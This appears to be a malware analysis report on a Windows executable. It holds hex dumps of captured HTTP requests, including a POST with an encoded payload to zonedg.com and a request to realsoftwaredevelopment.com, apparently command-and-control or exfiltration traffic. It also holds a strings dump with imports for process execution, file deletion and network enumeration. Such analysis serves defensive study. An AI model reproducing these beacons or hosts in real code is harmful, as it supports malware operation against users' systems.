0x00000130 (00304)   20636c6f 73650d0a 0d0a7325 32424b4e    close....s%2BKN
0x00000140 (00320)   2532466d 70723068 767a536a 554b3857   %2Fmpr0hvzSjUK8W
0x00000150 (00336)   69687559 5a4b456a 544c384d 6b783878   ihuYZKEjTL8Mkx8x
0x00000160 (00352)   456e5874 77484d4e 4e775049 505a4e71   EnXtwHMNNwPIPZNq
0x00000170 (00368)   5a6c7153 6c334e64 6e486569 74324f67   ZlqSl3NdnHeit2Og
0x00000180 (00384)   4b655930 7a754851 7031356f 5a386975   KeY0zuHQp15oZ8iu
0x00000190 (00400)   415a5442 53423968 6465786e 7068707a   AZTBSB9hdexnphpz
0x000001a0 (00416)   6b614d6c 37477551 4c6f5772 3562464b   kaMl7GuQLoWr5bFK
0x000001b0 (00432)   656d304e 6f526359 39333744 68645753   em0NoRcY937DhdWS
0x000001c0 (00448)   5a43366e 51334932 37787836 3564396d   ZC6nQ3I27xx65d9m
0x000001d0 (00464)   397a5366 754f2048 5454502f 312e300d   9zSfuO HTTP/1.0.
0x000001e0 (00480)   0a436f6e 6e656374 696f6e3a 20636c6f   .Connection: clo
0x000001f0 (00496)   73650d0a 486f7374 3a207265 616c736f   se..Host: realso
0x00000200 (00512)   66747761 72656465 76656c6f 706d656e   ftwaredevelopmen
0x00000210 (00528)   742e636f 6d0d0a41 63636570 743a202a   t.com..Accept: *
0x00000220 (00544)   2f2a0d0a 55736572 2d416765 6e743a20   /*..User-Agent: 
0x00000230 (00560)   6d6f7a69 6c6c612f 322e300d 0a0d0a     mozilla/2.0....

0x00000000 (00000)   504f5354 202f696e 6465782e 68746d6c   POST /index.html
0x00000010 (00016)   3f74713d 674b5930 73486f4c 374c2532   ?tq=gKY0sHoL7L%2
0x00000020 (00032)   424e3679 4c68627a 36323773 48644d66   BN6yLhbz627sHdMf
0x00000030 (00048)   56735325 32465435 77756725 32427479   VsS%2FT5wug%2Bty
0x00000040 (00064)   6766764f 37483333 4868626a 25324668   gfvO7H33Hhbj%2Fh
0x00000050 (00080)   37736265 64663173 53765438 74363569   7sbedf1sSvT8t65i
0x00000060 (00096)   39686c4c 39506d78 71584830 62462532   9hlL9PmxqXH0bF%2
0x00000070 (00112)   466d694d 57726450 6435534f 65696b4c   FmiMWrdPd5SOeikL
0x00000080 (00128)   35306742 394b3550 4c4e7133 6546476a   50gB9K5PLNq3eFGj
0x00000090 (00144)   7a682532 46384464 41596472 5435574f   zh%2F8DdAYdrT5WO
0x000000a0 (00160)   30616c78 74796762 70623648 766e5341   0alxtygbpb6HvnSA
0x000000b0 (00176)   4f51696a 25324238 43695976 45615376   OQij%2B8CiYvEaSv
0x000000c0 (00192)   54253242 73717069 3852704c 36666853   T%2Bsqpi8RpL6fhS
0x000000d0 (00208)   72253246 65253242 56355a75 52672533   r%2Fe%2BV5ZuRg%3
0x000000e0 (00224)   44253344 20485454 502f312e 310d0a48   D%3D HTTP/1.1..H
0x000000f0 (00240)   6f73743a 207a6f6e 6564672e 636f6d0d   ost: zonedg.com.
0x00000100 (00256)   0a557365 722d4167 656e743a 206d6f7a   .User-Agent: moz
0x00000110 (00272)   696c6c61 2f322e30 0d0a436f 6e74656e   illa/2.0..Conten
0x00000120 (00288)   742d4c65 6e677468 3a20300d 0a436f6e   t-Length: 0..Con
0x00000130 (00304)   6e656374 696f6e3a 20636c6f 73650d0a   nection: close..
0x00000140 (00320)   0d0a466d 70723068 767a536a 554b3857   ..Fmpr0hvzSjUK8W
0x00000150 (00336)   69687559 5a4b456a 544c384d 6b783878   ihuYZKEjTL8Mkx8x
0x00000160 (00352)   456e5874 77484d4e 4e775049 505a4e71   EnXtwHMNNwPIPZNq
0x00000170 (00368)   5a6c7153 6c334e64 6e486569 74324f67   ZlqSl3NdnHeit2Og
0x00000180 (00384)   4b655930 7a754851 7031356f 5a386975   KeY0zuHQp15oZ8iu
0x00000190 (00400)   415a5442 53423968 6465786e 7068707a   AZTBSB9hdexnphpz
0x000001a0 (00416)   6b614d6c 37477551 4c6f5772 3562464b   kaMl7GuQLoWr5bFK
0x000001b0 (00432)   656d304e 6f526359 39333744 68645753   em0NoRcY937DhdWS
0x000001c0 (00448)   5a43366e 51334932 37787836 3564396d   ZC6nQ3I27xx65d9m
0x000001d0 (00464)   397a5366 754f2048 5454502f 312e300d   9zSfuO HTTP/1.0.
0x000001e0 (00480)   0a436f6e 6e656374 696f6e3a 20636c6f   .Connection: clo
0x000001f0 (00496)   73650d0a 486f7374 3a207265 616c736f   se..Host: realso
0x00000200 (00512)   66747761 72656465 76656c6f 706d656e   ftwaredevelopmen
0x00000210 (00528)   742e636f 6d0d0a41 63636570 743a202a   t.com..Accept: *
0x00000220 (00544)   2f2a0d0a 55736572 2d416765 6e743a20   /*..User-Agent: 
0x00000230 (00560)   6d6f7a69 6c6c612f 322e300d 0a0d0a     mozilla/2.0....


Strings
b
c.
c..[
..
..
..
.
.
..
...j
B
g
...
.
s.n
080904b0
1.0.0.1
1532
&Execute    Shift+E
FileVersion
PrivateBuild
ProductVersion
&shit menu
StringFileInfo
Translation
VarFileInfo
VS_VERSION_INFO
````````
>>>>>>>>>>>
>>>>>>>>>>>>>>>
||"""""""
            
________
--------
,,,,,,,,,,
,,,,""
;;;;;;
;;;;;;;
:^}&@`<
!!!!\_______
.........
'''??????????
'''''''
'''''''''''
''''''''''''
''@@@@@@
((((((
(((((((((
)+{@{)
[[[[[[
[[[[[[[
}}}}}}*****
@`@" `
@[~>)	
@@@@@@
$$$$$$$
$$$$$$$$$$$$$$$$////
******
\\{{{{{{{{{
\\\\\\
#########
#############
#######			
#++++++
%%%%%%%%%%%%%
							
									
													
000000
####000000
00000000
0000000000
<\0C1)
0*=eLN
0<L\AV
11$$$$$
1P~~lC
1XIA5a
 '2~"`
222222PPPPPPPPPPPP
2ewNA$@
2+F,` 
2!f_pB
2^hyRK
;2IIII
2!nMPuA
2rYtR$
2uML0c
2x `@6
2XQIvE
3`<*0y
3333333
3ln[7i
,3xb|4Kw\
444444444444
444444444444444444444444444444
 =4'	6
4d\]Qy
555555
5glo@p
5Q\/0@
5u04u$
#6^,``
6666666
6666666666666
`@6@[D
<6\\d}h:
%6SB:  
@ 6;W;t
7#3jtF
777777
7h@~Xmy
@ 7|P>
7Ph0I3T
+[<7Y+hX
+82c.@
87	v^@
;;;88SSSS
<8zEzr"
999999
999999999
999xxxxxx
`)9L^4/
9P"d.I
A4oV@\
AA\\\\\\GGGGG
AA""""""hhhh
AAtttttttt
`@~ag97
A>'gAI
a}]nw43H{4(
/ArPFiI
auUe|,
=^b9>K)
B9+o`'
bbbbbb
BBBbbbbbmmmm
B"""""""jOOOO
B&`@O"
:"~*BR
C0l&  z
_C~1jsq7\
CCCCCC
CCCCCCC
cccccccc
ccccccccccccc
{\c;h3T
CJ	"@`
c@!Lyi
CoCreateInstance
CoFileTimeNow
CoInitialize
C`oK" @
CoUninitialize
$cuJ'vm
C"XUEM
`c)YI92w
/d5R)`
@.data
DDDDDDDDDDD
DeleteFileW
de=>Mk[
dK?!L]}
D*sbX6UNZ
@du4rDDg
}!.@`dXp2x\
e*`@+1
[E:2j$
eeee99
eeeeCCCC
EEEEEEEE
eJwg$|
e>ktlko
EnumResourceNamesA
eTTTTT
F.BAA.
FFFFFF
ffffffffffCC
ffffffffffff
Ff;'M6
?<F:i~
FindClose
FindControlClose
FindFirstFileW
FindNextFileW
-FJDR^
;@f-M)>G
.` Fp8
 @`	Fq
FreeLibrary
Fz`Q$`
GetAtomNameW
GetExitCodeProcess
GetIpAddrTable
GetModuleHandleW
GetPrivateProfileStringW
GetProcAddress
GetWindowsDirectoryW
GGGfddd
GGGGGGGGGGG?tt
ggg\\yyyyyy
g,gh_)MU
g#I_i\-
GI'On|
}%`gL	
GlobalAlloc
GlobalFree
--GP5]v'wPX
"""""""""H
hd6#Ww~7Z
HeC,`` 
he;UzK
hgp$~l
hhhhhhh
hhhhhhhh
HHHHHHHHH
h~L,@@[
HNX%[w3
h<oe+_
h<s	jKv
@hxLwT
*i6);?
II55555555555
iiiiii
IIIIII2
IIIIIIII
iiiiiikkkk
i?IQl.
ionpc@ 
.` i@P
IPHLPAPI.DLL
IV=3wTG
<J$`@,
j8oCF^H0P
jey:k)H
j.Jd!7A
JJJJJJJJJJ
jjjjjjjjjVVVVVVVV
J`l\2=
:jMRC!>
j:Mw^Z
. @jO8`u
 j~OY@
Jr0hkc
J~S=,(
:`^JuE
 `|'jV
|'!^+j\W
'#!`[K
K"`@d"@@
KERNEL32.dll
	k~f5^
kH{H>k
KjYqZRh
>>>>>kkkk
kkkkkkkk
KKKKKKKKKKKKKKKKKKKKK
&``KMmuK
-$\knE
KO,@@PO
kPKALxoU
`@kR.`@
-kwW!]
l8Z<S*
L~DWuW##
Li2(` G
"  lIu
ll"""""""""""""""""
llllJJJJ
LLLLL||||
llllll
LLLLLL
LLLLLLL
LLLLLLLL$
lloooooooo
LoadLibraryExW
LR( `O
lsX4fk
 `Lzb/WJN9
>m7TA(]
M{9,"2
M{!d+9TSu
Mgggggg
M}'is@
MJw'Rod
MkmHUzy
MMMMMMMM
mmmm##yyyyy
MPRAPI.dll
MprConfigGetFriendlyName
MprConfigServerConnect
MprConfigServerDisconnect
?MUEqT
MulDiv
MultiByteToWideChar
MY" ^pp
!MzUqqp
N 2$ z
]n'9N{
NB;wd<
NdrConformantArrayFree
newdev.dll
nnnnnn
nnnnnnnnnnP
NNNNNNNNYYYUUUUUUUUUUU
n, @[O
N:x{Ls
>nY/HAK
OCCACHE.dll
OJw6NN
ole32.dll
#######ooooo\\\\\
oooooo
OOPPPP
^( O)p
|'OvZv
"@ P"`
p0fph'
P1<E['3
#p4:dlN
ppkk~~~~~
pppp&&&
ppppppppp
PPPPPPPPPPPPP---MMMMMMMM
pppwwwww
PQZnI^K
Prvkom
 @pu[L
p>ztDz
PZzRnfj
[;q5N@
qanTUG
qCF(`@B
q" @EOdJ!
QHLSV+
qLd%( 
qqq222222222222222
` q" `v
$qwotw-;
^QX0_n
Qy:@:'
rB&Pdt
`.rdata
ReadFile
.reloc
REu*  
Rj1h?b
!^#R=L
r:MqZ,`
RPCRT4.dll
r(``pd
-#RPRc
RRRRRR
?????rrrrrrrrrr
RRRRRRRRRRRR
~~rrrrrwww
\r XL+6
.@@\s"
's=+D1(
SetFilePointer
sH\< ` 
SHELL32.dll
ShellExecuteExW
SHGetSpecialFolderPathW
sJ!$` 
s'rx4V
ssddddddd
``SSSSS
SSSSSSSSSS
StgOpenStorage
<SxY:3*
#T1:)6
[t)4% `
%TC'5J{
!This program cannot be run in DOS mode.
 'tkIG
tns!x&` 
T=>P,@`
\tQVcv
*\Tr>5
??ttttt
ttttttt
U^ `@;2
U''}b2
u&=`d^7#z
Ueaz `
:*uH8u
uK$  j<o
U+L|u:ib
UnlZ'W
 U[~	P
UpdateDriverForPlugAndPlayDevicesW
@ uRuu
UuidCreate
uuuuuuuuuuuR
Uymq6C
v"am5h@
Vei32{
VFbkO|
/vsp/4
 @V?VF
VVVVVV
vvvvvvvvi
vvvvvvvvvvvvvvvvvvv
vvvZ``
V\Y%T8
w$@@|"
  W?&`
W2`Bm$1Og
WaitCommEvent
WaitForSingleObject
wbS;g1S
w!-F4t9#
WGO4y[
Wnc8pX
WriteFile
WritePrivateProfileStringW
WUB3Ug
!&WWr6]0w
wwww```
$$$$WWWW
WWWWWW
WWWWWWW
WWWWWWWWCCCCC
|||||WWWWWWWWWWWW)))))))
\x67?%\
x=;82&
xBBBb9
Xc3.YM}GoRRl
@@Xh>a
-X>l~z
>&@ Xn%
xp\$B*
>~~xR>
XuW!dAN
++++++++xxxxxx
XXXXXX
xxxxxxxx
xxxxxxxxuuuuuu
xxxxxxxxxxxxxxxAAAA
]]]]]Y
yAE>ND
yC/;y)
Yg0>2j
y\^HSw
YkI*` 
Y&:Lr5
]Yoerc9
|)yps{
`Yt8q0
YYYYYY
YYYYYY||
yyyyyyyyyy
YYYYYYYYYYY
>){@Z|
=<^Z4.]
Z+CvWz
Zduer+}
/zEh=DYl
@`zGO`
z=]Ui"U
z+VZr_
Zx@g=9
ZZZiiii